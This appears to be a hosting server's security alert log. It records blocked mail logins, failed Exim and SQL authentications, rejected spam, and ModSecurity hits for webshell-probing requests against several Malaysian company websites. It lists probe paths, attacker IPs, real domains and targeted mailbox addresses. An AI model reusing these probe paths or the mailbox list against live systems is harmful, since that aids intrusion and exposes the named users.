Jan 15 02:39:44 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.42.185
country_id: 953987
description:
Jan 15 02:42:01 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.42.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.42.185
country_id: 953987
description:
Jan 15 02:42:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.42.185 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 02:42:40 H=([45.144.212.242]) [45.144.212.242]:64640 F=<no_reply@admin.com> rejected RCPT <ramesh@krisfood.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.116.58.32
country_id: 2017370
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-54.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.191.223.217
country_id: 3865483
description:
Jan 15 02:43:50 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.191.223.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.204.2
country_id: 99237
description:
Jan 15 02:44:16 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.204.2 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/awards.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.39.101
country_id: 953987
description:
Jan 15 02:47:27 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.39.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.76.56
country_id: 3469034
description:
Jan 15 02:47:33 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.76.56 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/images/residential.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.15
country_id: 241170
description:
Jan 15 02:49:57 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.155.98.85
country_id: 163843
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/hole/13/362/1364481 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 02:50:24 H=([45.144.212.242]) [45.144.212.242]:59124 F=<no_reply@admin.com> rejected RCPT <hr_admin@smartcable.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.15
country_id: 241170
description:
Jan 15 02:53:47 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.92.243.119
country_id: 6252001
description:
2026-01-15 02:53:08 H=([91.92.243.119]) [91.92.243.119]:58785 F=<ventas23@hotmail.com> rejected RCPT <stevenng@fkr.com.my>: Mail to stevenng@fkr.com.my has been suspended


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/fphortier/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.173.177.133
country_id: 6252001
description:
2026-01-15 02:54:32 dovecot_login authenticator failed for H=(ponlg) [107.173.177.133]:52575: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/demos/img/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/languages/images/sliders/index.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.190.205.219
country_id: 3469034
description:
Jan 15 02:55:47 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.190.205.219 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/img/demos/img/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.156
country_id: 2750405
description:
2026-01-15  3:00:36 74110 [Warning] Aborted connection 74110 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.156' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.112.113
country_id: 6252001
description:
2026-01-15 03:01:55 dovecot_login authenticator failed for H=(imrdnoi) [92.118.112.113]:55828: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.156
country_id: 2750405
description:
2026-01-15  3:01:57 74161 [Warning] Aborted connection 74161 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.156' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.118.112.113
country_id: 6252001
description:
Jan 15 03:01:53 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.118.112.113 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.86.15.79
country_id: 3469034
domain: acburn.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/acburn.com.my/img/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.4.226
country_id: 2300660
description:
Jan 15 03:03:37 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.4.226 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.227
country_id: 3865483
description:
Jan 15 03:04:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.227 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.176
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/portfolio/vendor/linear-icons/css/linear-icons.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.232.207.143
country_id: 3469034
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/portfolio/roll-for-auto-packing HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.178
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/portfolio/vendor/owl.carousel/assets/owl.carousel.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.200
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/portfolio/vendor/bootstrap/css/bootstrap.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.228
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/portfolio/vendor/font-awesome/css/fontawesome-all.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.246
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/portfolio/css/demos/demo-business-consulting.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.227
country_id: 3865483
description:
Jan 15 03:04:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.227 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.240
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/portfolio/vendor/magnific-popup/magnific-popup.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.133
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/portfolio/vendor/owl.carousel/assets/owl.theme.default.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.157
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/portfolio/vendor/animate/animate.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.252
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/portfolio/css/theme.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.204
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/portfolio/vendor/rs-plugin/css/layers.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.234
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/portfolio/css/skins/skin-business-consulting.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.184
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/portfolio/css/theme-elements.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.145
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/portfolio/css/custom.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.203
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/portfolio/vendor/rs-plugin/css/settings.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.241
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.pspoly.com.my/portfolio/vendor/rs-plugin/css/navigation.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.156
country_id: 2750405
description:
2026-01-15  3:06:49 74393 [Warning] Aborted connection 74393 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.156' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.94
country_id: 3175395
description:
Jan 15 03:09:44 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.94 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.102.134
country_id: 798544
description:
Jan 15 03:10:04 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.102.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 15 03:10:48 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.102.134
country_id: 798544
description:
Jan 15 03:10:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.102.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.194
country_id: 3175395
description:
Jan 15 03:10:32 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 03:11:49 H=([45.144.212.242]) [45.144.212.242]:56515 F=<no_reply@admin.com> rejected RCPT <sabrina@ktlog.com.my>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/about.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-15 03:12:45 +0800] info [webmaild] 203.106.96.63 - ehsan@sutsb.com.my "POST /cpsess9444074503/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [60.53.110.66] != Current IP Address [203.106.96.63]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 03:13:19 H=([45.144.212.242]) [45.144.212.242]:64313 F=<no_reply@admin.com> rejected RCPT <saiful@ms-chemicals.net>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/demos/img/index.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.182.26.164
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/T _ S.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 122.8.182.84
country_id: 3996063
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/shut/8/184/853248 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.70.126.221
country_id: 1269750
description:
Jan 15 03:23:22 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.70.126.221 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.186.8.230
country_id: 798544
description:
Jan 15 03:23:43 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.186.8.230 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/achievement-new.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.8.225.37
country_id: 1643084
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/activity-details.php?id=182320 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.255.139.138
country_id: 3374766
description:
2026-01-15 03:25:30 dovecot_plain authenticator failed for H=(hentenetry) [197.255.139.138]:46118: 535 Incorrect authentication data (set_id=kendek@kendek.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.243.97
country_id: 798544
description:
Jan 15 03:25:36 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.243.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.202
country_id: 3469034
description:
Jan 15 03:27:22 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.124.146
country_id: 690791
description:
Jan 15 03:27:36 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.124.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.78.89.54
country_id: 298795
description:
Jan 15 03:27:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.78.89.54 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 57.129.69.52
country_id: 2921044
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/img/img/img/demos/img/demos/about.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.154.34.130
country_id: 298795
description:
Jan 15 03:30:07 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.154.34.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.154.34.130
country_id: 298795
description:
2026-01-15 03:30:09 dovecot_login authenticator failed for H=([127.0.0.1]) [94.154.34.130]:33294: 535 Incorrect authentication data (set_id=suriyah@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.16.83.159
country_id: 2017370
description:
Jan 15 03:30:14 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.16.83.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.16.83.159
country_id: 2017370
description:
2026-01-15 03:30:16 dovecot_login authenticator failed for H=([127.0.0.1]) [5.16.83.159]:54710: 535 Incorrect authentication data (set_id=suriyah)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 44.236.207.248
country_id: 6252001
domain: geofactterr.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/142.0.0.0 Safari/537.36||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 03:36:49 H=([45.144.212.242]) [45.144.212.242]:55500 F=<no_reply@admin.com> rejected RCPT <shahzila@chs.com.my>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 03:37:18 H=([45.144.212.242]) [45.144.212.242]:64838 F=<no_reply@admin.com> rejected RCPT <sham@empirelog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 151.237.57.13
country_id: 2510769
description:
Jan 15 03:38:00 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 151.237.57.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 151.237.57.13
country_id: 2510769
description:
Jan 15 03:38:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 151.237.57.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.111
country_id: 798544
description:
Jan 15 03:38:32 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.111 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.244.247
country_id: 798544
description:
Jan 15 03:38:52 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.244.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.241.202.216
country_id: 6252001
description:
Jan 15 03:40:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.241.202.216 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.241.202.216
country_id: 6252001
description:
2026-01-15 03:40:58 dovecot_plain authenticator failed for H=cm-72-241-202-216.buckeyecom.net (ticing) [72.241.202.216]:57142: 535 Incorrect authentication data (set_id=siowchi.kwang@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.84.202.230
country_id: 1269750
description:
Jan 15 03:41:21 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.84.202.230 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.70
country_id: 1269750
description:
Jan 15 03:41:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.196
country_id: 3469034
description:
Jan 15 03:41:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.196
country_id: 3469034
description:
Jan 15 03:42:10 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 147.235.223.226
country_id: 294640
domain: www.euratech.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.euratech.com.my/products_ABS.html HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.105.97.184
country_id: 3865483
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Products/Easy Fold Document Box/Easy Fold - Front-150x150.JPG HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.151.162.242
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:03-54.45.151.162.242||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.15
country_id: 241170
description:
Jan 15 03:55:23 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.93.204.248
country_id: 3469034
description:
Jan 15 03:55:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.93.204.248 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.93.204.248
country_id: 3469034
description:
Jan 15 03:56:10 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.93.204.248 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 15 03:58:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
